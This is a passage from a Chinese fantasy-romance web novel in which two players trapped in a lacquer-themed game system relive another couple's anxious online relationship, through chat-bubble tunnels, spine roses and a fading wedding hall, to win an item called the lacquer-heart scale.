【检测到必要条件】
【正在启动漆心秤】
【启动进度:10%……20%……】
放弃时它就来了。
等待片刻后,空中出现一个巨大的扇形标尺,指针微微偏向一边。
【请使用工具打磨漆镯,使天平恢复平衡】
【成功保持平衡,即可获得物品:漆心秤】
【获得打磨工具:漆器打磨片】
看起来是他们这边的重量多了一点。
林茉拿起打磨片,材质偏软,可以弯曲折叠,一面极其粗糙,另一面有类似掌纹的小扇子纹饰。
她拿起被江砚破坏过的那只镯子,用打磨片轻轻在上面摩擦了几下,一点漆粉轻轻飘落。
其实天平指针的差异非常微小,应该几下就够了。
打磨好之后,她重新将镯子放回漆盒中。
这次变化来得很快。
甚至连空间都变化了。
在彻底变化完成之前,林茉注意到标尺的指针颤动着偏向了另一侧。
磨过了。
下一秒,整个视野充满鲜绿色,空间狭长如同隧道,无数半气泡漂浮在空中,这些气泡呈现半透明的奶白色,像是用漆树流淌出的枝叶吹出的泡泡。
感觉到手腕被轻轻握住。
林茉没有动作,没有挣脱,也没有看江砚,把它当作是一个很自然的默认动作。
毕竟现在他们说话不方便,这样可以防止在没有关注到对方时突然发生意外。
林茉抬起头,仔细看着自己头顶上的泡泡。
里面有大概十几个漂浮的黑色小字。
看、美、车、我、霞……
【你看,我在车上拍到的晚霞很美。】
林茉在努力拼凑时,江砚发来了消息。
这是什么意思?
看起来就是很普通的对话而已。
随后,这个气泡在注视下肉眼可见地逐渐黯淡,好像也不如之前那样饱满。
一会儿之后气泡彻底萎缩,如同泄了气的干瘪气球。
文字也仿佛被挤压、被抽去生命力,如同一团垃圾堆在一处,整个气泡像个垃圾袋。
垃圾袋表面出现几个灰色小字:三小时前。
什么意思?
三小时前有晚霞?
那和他们什么关系?
他们沿着隧道继续向前,来到下一个漆液气泡,里面同样有散乱漂浮的文字。
事、点、刚……
【刚刚有点事。】
江砚先一步发来消息。
林茉看着江砚的消息,忽然觉得很熟悉——他们看到的气泡应该也是两个人在对话。
其中一人分享了在车上看到的晚霞,另一个人三小时后回复,刚刚他在忙。
气泡又开始萎缩。
最后显示的时间是:30分钟前。
【哦哦,好的】
这是下一个气泡里面的内容。
时间显示:10分钟前
林茉觉得自己好像知道了什么,她动了动被江砚拉着的手腕,示意他停下。
【第二个人3小时后回消息,但只说他在忙,没有回复前面分享的晚霞】
江砚:
【所以第一个人会不高兴,对
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吗?】
林茉点头。
应该会吧。
反正如果是她自己,虽然不至于不高兴或感到愤怒,但内心总归是会有点别扭。
她忽然有点好奇,如果是江砚,他会不会因此情绪波动呢?
下一个气泡是第二个人的回复,这次间隔时间最短,只有10分钟:
【在干嘛呢?】
第一个人更快,只间隔2分钟:
【没什么事,在玩游戏,你呢?】
下个气泡:
【准备吃晚饭】
第一个人继续很快回复:
【这么晚才吃饭】
【多吃点】
这个气泡萎缩后,显示的时间是1小时前。
……
这便是所有的对话气泡了。
两个人没有再继续发消息。
但绿色隧道还在,任务倒计时也还在继续。
这是要干嘛呢?
帮助他们继续聊天?
就算他们想帮也无能为力,因为根本不知道该怎么帮,也不知道该不该帮。
如果第二个人不想聊天,那没有人能够帮助到他们。
但他们既然身处这个对话隧道中,会不会就说明第二个人其实内心对第一个人是有亲近和好感的,只是他的表现方式不同呢?
好难猜。
好难猜。
系统的心思难猜。
人的心思更难猜。
算了,先继续向前走吧。
走着走着,前方出现了两个并排坐的人影,每个人都伸出一只手臂,在不断地描画着什么。
走到跟前,才发现这两个并不是真正的人,而是两枚木头人偶,在不断描画:
对方正在输入中……
此时林茉有点想揍第二个人,如果想要继续发展,为什么不能表现得明显一点、热情一点?
搞出这种奇怪的隧道。
退一万步讲,就算不想,也可以说清楚嘛。
或者,连他也不知道自己想不想?
……
难猜、真难猜。
【为什么第二个人不回复消息呢?】
林茉发消息问江砚。
江砚笑了笑。
【不知道,反正如果是我和姐姐的话,我肯定不会这样的】
【那你觉得他们俩还有发展的可能吗?】
【不知道】
【有可能吧,可能他们还需要一些时间】
林茉指了指倒计时。
【但我们时间不多了】
但有什么办法呢?
当一个人感觉到束手无策时,其实等待也是一种策略,而且是很好的策略。
不如坐着休息一下。
他们在两个木头人偶旁边坐下,等待着正在输入中变成对话气泡。
又开始等待了。
好像在这里,他们总是束手无策,总是要等,还是顶着越来越少的倒计时在等。
【姐姐累了可以靠着我休息会】
林茉看着江砚还在过敏中的手和手臂,拍了拍自己的肩膀:
【你才需要休息吧】
而且感觉过敏好像越来越严重了,起初还只是淡淡的粉红色,现在不仅颜色加重,而且皮肤表面好像还有点浮肿。
江砚并没有推脱,笑了一下,用口型无声说了两个字:“谢谢”。
轻轻靠在了林茉肩头。
林茉内心一点点沉下去,看来他的过敏非但没有缓解,而且还越来越严重。
他们也并没有等到预料中的新对话气泡。
因为整个空间忽然开始变暗,同时收缩、挤压——
38. 漆咒合欢(大漆)
隧道空间在收缩——
突然一个气泡速向他们飞来,速度很快。
【在干嘛?忙完了吗?】
隧道空间还在持续缩小,林茉想找到阻止的方法,但环顾四周,可以想不到任何可以做的事。
束手无策的感觉再次如一桶冰水兜头泼下。
另一个气泡飞来。
【开会的。】
随着这个气泡的出现,气泡隧道的压缩速度果然加快。
眼看着绿色边界压得越来越近,仿佛有一只手在操纵,目的是让这个空间彻底消失。
让这个空间里的所有文字、所有记录彻底消失。
而江砚的状态更是让人担心,他依旧靠在林茉肩上,闭目、皱眉。
他甚至都没有发现隧道空间的变化。
腹背受敌。
四面楚歌。
林茉不知道该怎么办,伸出手护住了江砚的头。
算了,等着吧。
眼看着天塌下来是什么感受?
第一时间会想做点阻止他,或者逃离他,然后很快意识到自己什么也不能做。
会慌乱、会回忆、会预测...这些几乎都是同时发生的。
会不受控制地很想抓住些什么。
好像全身的血液都集中在心脏或是大脑,1秒钟内既可以回到20年前,又能够幻想那个从未到达过的未知世界。
在绿色边界压到头顶的刹那,林茉被拥入一个温暖的怀抱中。
很温暖,温暖到天塌下来,这里都是安全的。
“院长——”林茉喃喃道。
...
白色,丝丝缕缕的乳白色,像一枚蚕茧。
流动的微光又如同一层不透明的漆膜,将他们包裹其中。
渐渐地,乳白色之上,纤细的暗红色脉络开始生长,如同伸展扩张的叶脉,织成一颗逐渐成型的跳动心脏。
林茉尝试伸出手触摸了一下心脏的“地面”,柔软、有弹性,让人忍不住感觉到这真的是在某种生物内部,又或是就是在一颗心里,忍不住起了一层鸡皮疙瘩。
安静、稳定。
江砚倒在她身上歇息。
你还好吗?
林茉用眼神询问,手轻轻覆住他额头。
没有发烧。
江砚轻又平和地笑了一下。
这是在说:我没事。
随后他调出系统面板,手指一下一下敲得缓慢:【我只是】
江砚轻轻喘了口气,又继续一下一下,认真,有种脆弱的美感。
【需要休息】
林茉刚感觉到稍稍放松,血管交错处忽然有什么东西冒出来,如同刚破土的竹笋。
仿佛冥冥之中有什么东西见不得人好、见不得人轻松一点。
紧接着,“竹笋”开始一截一截地生长。
林茉倒吸一口气。
那一节一节的并非竹笋,而是——脊椎。
白色骨头像是有意识似的,努力向上延伸,仿佛有什么怪物即将出生。
林茉感觉鸡皮疙瘩起了一层有一层。
因为这样的脊椎怪物在每一处血管交错处都有一个,森森白骨摇摇晃晃地伸长。
...
生长了一会儿,脊椎突然停止了延伸,然后开始更加剧烈地、毫无规律地摆动。
给人的感觉像是——生产——一颗头颅即将诞生。
此处表面静默无声,但内里能量失控混乱。
长出来了。
...
林茉看得呆住,连呼吸都忘记。
因为脊椎顶端生长出来的并非什么怪物透露,而是——轻盈盈的一朵玫瑰。
一朵盛开着的、鲜活的玫瑰。
就这样以一种根本没有人会想得到的、极其怪异的方式,处在了一片玫瑰花海之中。
脊椎玫瑰。
适应之后,居然会觉得它有种迷乱的、不管不顾的、情意疯狂的美。
“江砚,”林茉轻轻摇他,“看看玫——”
林茉声音停住,因为她发现江砚因为痒,不知何时把自己手臂抓出了条条血印,嗯看起来触目惊心。
江砚迷迷糊糊又想要伸手去抓。
林茉抓住他的手腕,“别抓。”
“可是,”江砚声音很轻,手腕在林茉手中挣扎,他还是想去抓,“很痒啊,难受。”
“坚持一下。”林茉有些心疼,她不想这样说,这四个字看起来轻飘飘,可是往往需要人付出极大的意志力,承受难以忍受的痛苦,可是她不知道还能说什么。
这是第一次,林茉想要快一点完成任务、快一点离开。
她抬头环顾这个新的玫瑰空间,若是忘记处境、忘记焦虑,这里原本很美很宁静。
但她恰恰忘记不了焦虑。
一丝尖锐强烈的痛感转瞬传来,余波如涟漪,在身体中一圈圈扩大。
林茉低头查看痛感来源,一枝生长在她手边的脊椎玫瑰刺到了她的手腕处,一滴小小血珠在茉莉纹中流淌。
随着粉红扩散,林茉感到心底痛感越来越烈,如同满溢的海水一样沉甸甸,再多一滴都要承受不住,又如同世界上所有酸楚都被压缩到一点,哪怕只是轻轻触碰一下,也会引起浑身的剧烈战栗。
心不要乱、心不要乱。
林茉默默提醒自己,她已经有过几次类似经历,猜测这突如其来的痛是收到了系统影响。
整个纹路染成淡淡的粉红色,如同另一朵玫瑰在她手腕盛开。
心脏被猛地捏紧,几乎可以算得上是物理意义上的“心痛”。
尽管她不断提醒自己心不要乱,但同时清晰地感受到大脑有一部分如同被劫持一般,不受控制地,身体自动将所有能量和注意力集中那里。
那里是——焦虑、恐惧、悲伤。
满溢的海水、压缩的酸楚。
不要乱、不要被控制。
这只是被植入的感觉,不是真的不是真的,不是——
啪——
漫天海水决堤,这是世界上最剧烈的海啸,伴随着能摧毁一切的酸楚情绪,将林茉努力坚守的理智、最后一根弦淹没得无影无踪。
好难过啊。
为什么他要这样呢?
为什么?
她望着躺在怀里的江砚,内心忍不住一遍遍地质问:为什么你要这样对我?为什么总是我被牵动、为什么是我在乎你更多?
随着不断质问,一株新生的脊柱玫瑰穿过她的手掌,悠悠生长。
手掌被盯住,但林茉却浑然不觉,更大的痛苦将它覆盖。
江砚却只是安静。
好像他全然在处理自己的过敏,对林茉的变化没有觉察、无动于衷。
林茉用另一只手抚摸江砚的脸,满眼伤痛,却又如痴如醉。
你不喜欢我,为什么一开始要对我那么热情呢?
她顺手从旁拔下一株脊椎玫瑰,用力钉在江砚掌心。
可是在接触到皮肤的瞬间,脊椎花枝好像忽然变得柔软了,向一旁滑了出去,带动顶上玫瑰花瓣轻轻颤抖。
林茉内心更痛,你真的不难过吗?
那我们一起度过的时光又算什么?说过对我真诚,就只是骗我吗?
又一朵脊椎玫瑰拔节生长,刺破掌心,血液的滋润让这朵玫瑰更加鲜红耀眼,也让林
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茉内心的痛苦更浓,吸收着她整个人所有的精力和养分。
林茉转头看了一眼,没关系啊,生长吧。
痛苦证明我爱你,是失去一切时的唯一依靠。
她又看向自己刚刚拔出来想要钉在江砚掌心的玫瑰,看了一会儿,随手一丢。
玫瑰划过一道红色的坠落弧线。
林茉又拔了一朵,脊椎尖刺刺入手指,十指连心,心脏刺痛得又收缩了一下。
她无法承受似的闭了闭眼,两行晶莹的眼泪蓦然冲出眼眶。
再睁眼时她面带苦笑,又拔起一朵脊椎玫瑰。
再次试图刺入江砚掌心。
你也会痛的,对吗?
不然我们一起笑着讨论过的话题、一起共度的时光算什么。
然而,脊椎玫瑰再次偏离开。
能刺破林茉手指、钉穿手掌的脊柱花枝偏偏在碰到江砚时变得柔软。
眼泪大颗大颗地涌出。
为什么啊?为什么啊?
为什么只有我一个人在乎,我只是你曾经无聊时的消遣吗?
丢掉,林茉又拔了一株。
这株被拔起时,血管墙壁出现了几幅图像。
最上方有一行字:
生日快乐,就喜欢吃这种吃不饱的东西。
下面有四张配图,从头到尾依次被放大,大到填满林茉的整个视野。
第一张是放大的精致白色餐盘,中间盛着一点精致的食物。
第二张是餐厅包厢一角,右边墙角飘着一束气球,一些浅紫色的爱心,中间一只可爱小猫。带到了餐桌一角,白色桌布上红色花瓣格外刺眼。
林茉痛苦地低下头,好想消失啊,好想自己从未来到过这个世界。
不要。
不要看了。
然而却忍不住。
下一张图片再次无情地被放大,林茉瞥了一眼,整个人呆呆地如同被施了定身术,抬头看着那被放大的图像。
是一位女孩,长发及腰,身穿浅色长裙,手里拿着那束紫色爱心气球拍照。
又一束脊椎玫瑰在悠悠生长,这一次刺穿的不是手掌,而是心脏,白骨轻易刺破皮肤,贯穿心脏,滋养出一朵盛开的玫瑰。
血滴如同眼泪,沿着伤口流出,染红衣料。
下一张是在户外,依旧是那位女孩,夜色下甜美地望着镜头。
镜头,镜头后面是谁呢?
是她再也触不可及的那个人。
再也触不可及。
本以为已经酸楚到极致的内心居然还可以更加酸楚,曾经彼此连接的分分秒秒分裂成无数绝情之手,撕裂每一寸心脏,每一寸皮肤,痛感恒河沙数,而每一粒沙能承载的痛苦都在此刻被放大到极致。
眼泪在流,但林茉没有感觉,也没有去擦。
每次都以为是极致,却料不到还能更痛。
墙壁影像消失,但林茉内心却开始自动反复播放。不仅如此,她还看到江砚用心地准备生日晚餐,与照片女生谈笑、牵手,温柔地问她喜不喜欢,计划假期出游...
他们乘车穿梭在城市美丽温柔的夜色中,晚风拂过他的脸,拂过他嘴角幸福的笑。
她和江砚曾经也计划过一起出去玩的。
林茉颤抖地发出一条消息:祝你愉快,删掉吧。
然后又拔出一朵玫瑰,这次她没有再试图让江砚痛己所痛,而是轻轻放在他心脏位置。
最后送你一朵玫瑰,送你我的真心。
她失去了全身力气,向后仰躺下去,任由更多的脊椎玫瑰密密麻麻将她刺穿。
她失神地望向虚空。
居然真的还能更痛啊——
39. 漆咒合欢(大漆)
江砚睁开双眼,眼皮牵扯神经,感觉像是被封在一摊粘稠的泥泞中,每次呼吸都带来由内而外的剧痛。
此时痛感中心已经不是手臂,而是心脏,像是在被一部无形机器分分秒秒不断地碾压过。
来源正是林茉。
他一遍遍看着那几个字“你还不是她朋友,请先发送朋友验证请求。”
每看一次,被碾压过的痛苦就严重一分。
密密麻麻的刀锋唤醒每一根痛觉神经,他想逃离痛苦,可是过去的美好化作锁链,牵住他心底深深的贪恋。
耳边传来噼里啪啦暴雨敲打玻璃的声音。
江砚眨了眨眼,眼神虚空,外面下雨了,她那里有下雨吗?下雨她会干嘛呢?
希望不会被淋到。
因为她说过最不喜欢下雨天。
应该会在家吧,她不经常出门的。
不要出门,最好能永远待在家里,永远只能给他一个人看到。
那个曾经多姿多彩的空间现在一片空白,只有一条浅灰横线,以此决绝地宣告自己被永远隔绝在她的生活之外。
他低头,发现自己心口长出了一束玫瑰。
他抬起手摸了摸,很轻很轻,花瓣好细腻,传递出温暖,很像是她带给自己感觉。
嵌在心脏的脊椎骨刺猛地绞紧。
痛苦是如今和她的唯一连接方式,他情愿永远被尖刺折磨。
他目光温柔地笼罩住玫瑰花丛中沉睡的林茉,一只手疼惜又恋爱地抚上她脸颊,喃喃自语:“姐姐,我真的想给你我的全部。”
“但是我的全部加起来,”江砚的声音带了点伤痛,“也没什么好的。”
他猛地一用力,将心口玫瑰用力拔出,嵌入血肉的倒刺发出令人牙酸的声音,痛得江砚额头除了一层薄汗。
这是整个玫瑰花田最鲜红的玫瑰。
“这是我的全部真心。”他将玫瑰轻轻放在林茉心口位置。
伤口血液流淌,疼痛让江砚本就消耗过多的意志力几乎崩塌,他堪堪撑在林茉上方,轻轻低下头,亲吻了耳畔的茉莉核雕。
因为昏睡,所以没有人看到,在那朵心脏玫瑰被拔出后,原先投出让林茉痛不欲生照片之处,默默出现了两个并排的对话框。
其中一个的输入框中,黑色汉字字一个个增加:
-我们好像很有缘分,第一次遇见你,我就喜欢你
另外一个输入框的文字也开始逐渐增加:
-我对你挺有好感的,你觉得我怎么样呢
两行字并排存在了一秒,然后又被一字字删除,直至输入框恢复一片空白,最终输入框被关掉,图像消失。
似乎察觉到了,昏睡中,林茉头动了动,轻轻贴住了江砚脸颊。
温暖的。
---
她删掉好友之后会去找别的人吗?
会和他们开玩笑、一起吃饭、一起散步吗?
剧痛让江砚视线有些模糊,但他还是能一眼认出林茉身影,他很喜欢林茉长发披散下来的样子。
然而,下一秒,喜悦的眼神凛然一动。
因为林茉身旁多了一个陌生的身影。
不可以哦,不可以哦姐姐。
江砚睁开双眼,发现他们已经不在玫瑰花田,身/下是坚硬的地面,林茉躺在他身边还未醒来,安静地闭着双眼。
玫瑰消失不见,只剩余心口那一枝。
“原来刚刚是幻觉啊,还好。”
江砚笑了笑,表情恢复轻松,扯下一篇花瓣,塞在林茉唇间,“姐姐,真高兴我们是共犯了。”
到如今,他们一起经历过许多,这个系统已经是他和林茉的共同创造。
---
最先刺入视野的是一片褪色朱砂红。
百丈长的苏绣红幔从穹顶垂落,上面是一对对刺绣鸳鸯,叼着对方渗血的尾羽,金线眼珠栩栩如生,跟随林茉的目光缓缓转动。
然后,一双微微狭长,眼尾上扬、带些侵略性的眼睛进入。
这是二号江砚独有的锋芒。
对视——
“醒了?感觉怎么样?”
江砚靠近了一些,伸手摘去唇间花瓣,拇指指腹在下唇轻轻蹭了蹭,非但没有蹭去玫瑰花瓣的染色,反而红色涂抹开来显得更加诱人。
林茉眯了眯眼,目光顺着江砚手臂向下,看到胸口的脊椎玫瑰。
她没有回答,也没有表情,推开江砚坐了起来,手上用力一握,整枝玫瑰化作骨粉。
果然玫瑰都是不长久的。
她紧紧攥着玫瑰骨粉,灰白色粉末顺着指尖簌簌飘落。
“你爱我吗?”她问江砚,希望能从那双眼睛里看到真诚。
“我当然爱你。”江砚回答很快。
但林茉感觉并未看到自己想要的。
她看着指缝中簌簌而下的骨粉,冷笑着随手一扬,骨粉飘落,没留下一点痕迹。
此处空间入眼皆是红色,布置很像是一座婚殿,红幔、红烛、描金廊柱,脚下是一张暗红色地毯,中央刺绣图案竟是她和江砚一路以来的经历,共同刺绣、并肩赏灯、渔村看海...
只是图案斑驳,好似被某种东西消磨。
四周装饰线条向中央汇聚,如同被吸食的脐带,汇聚之处是婚殿中央一盏朱红色骰子花灯,足有马车大小,每面裱糊着半透明纱绢。
林茉轻轻拨弄,骰子灯真的转了起来。
一、二、三、四...
最后停下来时,面对林茉的那面却不是数字点数,与此同时,整个婚殿忽然一暗。
原本的朱红、正红、暗红、描金,红幔、红毯、喜烛...全部褪了一度颜色。
【温馨提示:新鲜度下降,时间流速x3,倒计时5小时】
骰面定格,画面里江砚坐在餐厅卡座,灯光将他侧脸镀得柔和,手机倒扣在铺了花瓣的纯白桌布上,因消息震动微微偏移,露出锁屏界面浮动的三条通知:
在干嘛
假期有什么打算?
我过去玩,有机会一起吃个饭
对面长发女生端起精致的骨刺茶杯轻轻啜饮,柔软长发自肩头垂落。
“骗子。”林茉好似并不意外。
她来到那对燃烧着的喜烛前,融化的烛泪凝结成荆棘形状,她漫不经心拿起,缓步来到江砚身边,拉起他的手,手腕上荆棘纹缠绕,与白皙皮肤形成强烈反差感。
一次“我爱你”不够,她要分分秒秒都不厌其烦地表达爱意。
荆棘蜡烛被用力刺入江砚掌心。
林茉却只是眨了眨眼,“骗我是要付出代价的。”
江砚痛得皱眉,但内心却涌起满足感,他忍住疼痛,艰难开口:“我没有骗你。”
话音刚落,婚殿再次褪色。
【温馨提示:新鲜度下降,倒计时4小时】
江砚拿起托盘内的龙凤漆镯,本想与林茉各戴
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一只,用作安抚,但拿到手上,漆镯却化成了大漆锁链,如同加长版的手铐。
江砚起初有些意外,低头看得仔细,流露出满意轻笑,“这样更合适。”
他跟随林茉回到骰子花灯前,在她面前蹲下来,一只手轻轻环握住脚踝,“姐姐,这样你就只是我一个人的了。”
锁链发出“啪嗒”一声,卡扣扣合。
林茉低头看了看自己脚踝上的锁链,每一环都刻着“对方正在输入中”,内心竟然感觉不到抗拒。
骰子灯再次旋转——
这次定格的画面是江砚拿着手机,一次次点开林茉头像,点进“前往验证”,然而却总是在即将发送时选择放弃。
不主动就是不喜欢。
【温馨提示:共生模式进阶为:漆心连理,痛觉共享程度提升至200%】
【温馨提示:新鲜度下降,倒计时2小时】
婚殿几乎已经褪色为灰白,但他们似乎已经对时间失去了感觉,也忘记了自己为何来此。
只想要相爱。
只要相爱。
猛然间,林茉感到心脏剧痛。
江砚皱眉的表情说明他亦是如此。
他现在真的是伤痕累累,过敏未消、手掌受伤、胸口不知何时也添了新伤。
可林茉却顾不上心疼,反而有种奇异的混合着疼痛的满足感,这样才能说明他在乎自己。
手上还有残余薄薄一层玫瑰骨粉。
痛觉的强烈存在让林茉有些站不稳,她背靠骰子花灯,扯着江砚衣襟,将他拉近到自己面前,几乎肌肤相贴。
她盯着江砚胸口刚刚凝固的血液看了一会儿,问:“痛吗?”
江砚微微低头,林茉的睫毛忽闪忽闪,看得他很想吻上去。
“痛。”
虽然伤口集中在手和心脏,但此时他感觉自己简直是无处不痛。
“痛啊。”林茉轻声重复。
然后一抬手,将沾着骨粉的手狠狠按在了江砚胸前的伤口上,掌心瞬间传来血液的湿润和温热。
江砚痛得闷哼。
林茉也是痛得闭眼,她低下头,将额头抵在江砚肩头缓了一会儿。
再次开口:“你爱我吗?”
然后,手上再次用力。
将玫瑰骨粉揉进伤口、揉进皮肤、揉进血肉——
200%的痛觉让他们痛得无法控制呼吸,皮肤相贴,喘/息/纠/缠。
可内心却是痛快。
疼痛是纽带、是基石、是证据、是筹码,痛我所痛,才能确定你有多爱我。
“我爱你。”
江砚的喘息充斥林茉耳畔,他一只撑在骰子灯上,将林茉圈在自己怀中,另一只手轻轻抚上她的耳垂——那里有一枚由他定制的茉莉核雕。
核雕光泽柔润,表面凹凸不平。
江砚嗓音低沉,他再次重复:“我爱你,你还会离开我吗?”
伤口在林茉手中越来越严重,但因过敏而红肿的手臂却似乎因骨粉的融入而逐渐好转。
林茉感受着江砚有些快却坚定的心跳,对着江砚耳语:
“你爱我,我就不会离开你。”
【温馨提示:新鲜度下降,倒计时1小时】
为什么?
林茉瞬间变得烦躁,烦躁得想直接拆掉这里,拆掉一切!
为什么明明都说了相爱,新鲜感却还是在不断下降?
难道又是欺骗?
40. 漆咒合欢(大漆)
【警告:痛苦过载】
【警告:痛苦过载】
林茉如同被钉在原地,身体动弹不得,大脑也仿佛被冻结,整个人瞬间躯壳化,连血液都不流动。
她的眼睛还是在看江砚,眼神凝固着痛苦和爱,一汪泪水将落未落。
不知道该怎么办,她已经尽力、用尽全力想要维持住和江砚的关系,并且真心希望他们可以有结果,可以互相恩爱。
但是,所有的办法都已用尽、所有的力气都已用完。
还是事与愿违。
江砚眉头如同春天缠绵的柳枝,眉眼之间也是盛满怜惜与不舍。
他想要给林茉幸福,想要看林茉轻松地笑,想要林茉和自己在一起是开心的,而不是现在这样充满不安和悲痛。
如果和一个人在一起是这样的状态,那或许他们本就不是对方的良人。
“姐姐,”江砚忍痛抬起手抚摸林茉脸颊,“我——”
他顿了顿,眉头一皱再皱,那句准备好的话在嘴边徘徊,但却好像有什么在拖着他,就是说不出口。
“我——”江砚再次尝试,我们各自冷静,去寻找更适合自己的人吧,不要这样彼此折磨了。
可出口却变成了:“我该怎么让你相信,我是真的爱你呢。”
江砚彻底放弃理智准备好的发言,喃喃自语:“不是说爱能解决一切问题吗?我真的爱你,为什么我们之间会变成这样。”
如果能在误会的开始听到这番话就好了,那样也不必经历这样声嘶力竭的互相伤害、互相索取。
“算了,”林茉唇瓣轻轻开合,“顺其自然吧。”
眼泪终于流出,带着那些没有宣之于口的情绪,林茉闭眼,不再执着紧握后突然心里轻松很多。
但也失去很多。
她无力再去想和江砚的关系,靠着骰子灯安静放空。
倒计时,随它去吧,反正故事自会展开,生活自会向前,至于她是被无情碾过还是能有幸乘上一艘小船,随它去吧。
骰子灯又在自动播放。
“我犹豫不决的时候,就会投骰子,”林茉靠在椅背上拿出手机,“你会怎样做呢?男生是不是很少有这种时候?”
这里是一家餐厅,纯白色桌布从圆桌边缘垂落,弯出几道柔软的褶皱,桌面上放着几道精致菜肴,一壶鲜榨橙汁。
江砚坐在对面,“怎么了?遇到什么难以决定的事了吗?”
林茉低头思索了几秒,然后抬头,她的脸忽然开始变形,从上至下,好似烛泪流淌,“嗯——就问问明天要不要出门吧。”
江砚笑笑,“什么规则呢?”
变形林茉额头收窄了一些,她拿出手机,“投出六点,就出门,如果是其他点数就不出门。”
江砚按住林茉手腕,将自己手机推向二人中间,“用我的。”
像烛泪又像漆液的东西彻底脱落,露出了另外一张人脸,眼睛偏小、单眼皮,别有一番清秀安静的气质,像是班级里最安静低调的那一类,却又会让人忍不住多看几眼、心生怜爱。
她的声音柔和,音量偏小,好在这是包厢,不影响交流,“好啊,你来投。”
江砚点开手机,调出聊天界面,滑动屏幕找了个骰子表情包发了出去,“看看。”
手机没有新消息提醒,点进去才看得到新消息。
白净的手指点开那个她最近唯一打开过的聊天框,一枚方方正正的骰子在转动,几秒后,停在了点数六。
不仅如此,这枚骰子六个面全部都是六!
“你耍赖。”
江砚笑得如同轻柔的风,“你可以的,春羽。”
“走出去,晒一秒钟太阳就算你完成任务。”
“一秒钟?”被叫春羽的单眼皮女孩诧异抬头,在目光接触到江砚的脸之后,疑惑更浓,“你怎么变成这样了?你不是这样的。”
说完站起身,微微前倾,手臂越过桌面去抓江砚的脸,如同扒开泥土一般,柔软如半凝固的油漆的东西被春羽一把把摘下。
露出另一张迥然不同的脸。
“这次对了。”春羽坐回位置,露出笑容。
“这才是罗越。”
罗越笑得宠溺,“那说好了,明天至少出门晒一秒钟太阳。”
“好。”
---
林茉感觉到自己忽然变得清明,且疲惫,好像刚刚经历了什么特别劳心劳心的事。
仿佛另一个人的记忆在与她共享。
那位叫春羽的女孩,在出门和罗越吃饭之前,已经把自己关在家里好久没有出门过,不是不想出门,是不能出门,就好像她被剥夺了这个能力。
也正是在这期间,她偶然在社交软件结识罗越,其实她连手机都很少拿起,只是那天状态稍微好了一点点,觉得自己可以尝试说说话,陌生人是最好的选择。
就这样,她遇到了罗越。
从一开始的隔天才能再拿起手机回复消息,进步到了当天回复、隔几个小时回复...
罗越伴随着她的整个好转进程,在他们见面吃饭的之前一段时间,罗越曾几次晚上下班后开车来到她的楼下,并不要求她下楼,只是让她逐渐感受他人、适应自己。
这种距离让春羽感觉到安全,在她又好转一些后,主动提出想请罗越吃顿饭,表示感谢。
但其实一切还是罗越来安排,他担心自己适应不了人群,还特地订了包厢。
只是人会变化。
从前,罗越的忙碌和适当疏离是优点,后来这些变成了缺点、变成了尖刺、变成了让她的心飘忽不定的失重时空。
就好像从一处深渊中爬上来,又一脚踏入另外一个深渊。
她变得越来越贪婪,越来越焦虑,疯狂想要占有罗越的时间和爱,想要确认罗越喜欢自己,但她又没有勇气直接去问,去追求、
人能用理智控制自己不至于太失态,但心中冲动无法压制,它在每一次的消息中试探、每一个等待回复的渴望中猜测,越来越汹涌澎湃。
从前罗越的弱联系让她感到舒适,但如今这些都成为了他不喜欢自己的证明。
焦虑恐惧怀疑不安。
她努力让自己习惯罗越的节奏,却终于在看到那一条女孩照片的朋友圈后彻底崩溃。
回想初识,多美好啊。
--
林茉眨了眨眼,不知道春羽能否听到,但她还是想说:
你不一定喜欢他,也不一定是他帮助你变好,是你本来就在变好的路上,只是罗越恰
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好出现在那里。
春羽和罗越在社交软件的亲密度提升很快,但如果剥离掉这些帮助、照顾、身份...你还想要他,那才是真的喜欢。
后退一步。
--
【恭喜您,成功恢复天平平衡】
【获得物品:漆心秤】
【三件贡品已收集完毕,请前往漆神祭坛,将贡品献祭漆佛,获得漆佛认可即可通关】
林茉和江砚并排靠在漆棺上,一动不想动,刚刚虽然是他们在各自体验春羽和罗越的心情,那些伤害也并非真实,但强烈的情绪的确是流经了他们。
没有人开口。
筋疲力竭。
只想躺着,不想动。
倒计时堪堪停留在00:08:18
【您已使用道具:多睡一小时】
“罗越在想什么?”过了许久,林茉才开口。
“他啊,和那个讨厌的我一样,”江砚语气流露出不屑,“对人家有意思,行动迟缓呗。”
一丝风拂过,将他前额碎发吹得微微颤动,“怕太快表白吓跑人家,怕自己工作感情难平衡,”江砚不耐烦地叹气,给出最后结论,“优柔寡断。”
“那女孩照片是怎么回事?你知道吗?”
江砚更加无奈,“他妹妹用他手机发的,用来气自己男朋友。”
...
林茉一时语塞,不知该对这种行为作何反应,忽然她内心一动,“刚刚看到这些,你了做什么吗?”
江砚嘿嘿一笑,忽然心情大好。
“能做什么,我当然是帮他一把了。”
前进一步。
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漆心秤很小巧,朱漆明亮,两边秤盘化为两枚爱心吊坠,摆动时天平指针来回颤动,但最后总会平静,指针回归平衡。
“走吧,”江砚将漆心秤和谎漆镯一并收入盒中,“去找那个什么漆佛。”
他伸手拉着林茉站起来,掌心接触的瞬间,内心忍不住自嘲:还嘲笑罗越呢,他自己也没好到哪里去。
心理学中,有一种心理现象叫做“吊桥效应”,在高风险或刺激情境下,人们容易将生理唤醒(如心跳加速)错误归因于对身边人的情感吸引,从而产生浪漫情愫。
林茉觉得自己就在那座吊桥上。
漆液褪去,村庄开放通行。
记得之前从外面看到过村子中心有一座特别的类似祠堂的建筑,时间紧张,他们来不及仔细观察村落,便直奔村子中心。
吱呀——
江砚推开厚重木门,这是一处青砖围砌的小院,院内正中有一棵枝干粗壮的古树,虽已经枯萎,但仍能透过枯枝感受到它曾经的繁茂。树干上系有褪色绸布,漆斑点点,远看如某种干涸的咒符。
佛殿檐角垂着生锈铜铃,牌匾半脱落,刻有“匹配成功”四个字,站在院子里只觉得殿内漆黑,隐约看得到反光的轮廓,好似在暗中观察他们。
“我先进,姐姐跟在我后面。”江砚抱着漆盒向前一步。
林茉却是赶了上来,与江砚并肩而行,她举起茉莉纹展示,“别当英雄了,我们可是绑——嗯?”
“怎么了?”
林茉疑惑地看着自己手腕,“总感觉好像哪里不一样了。”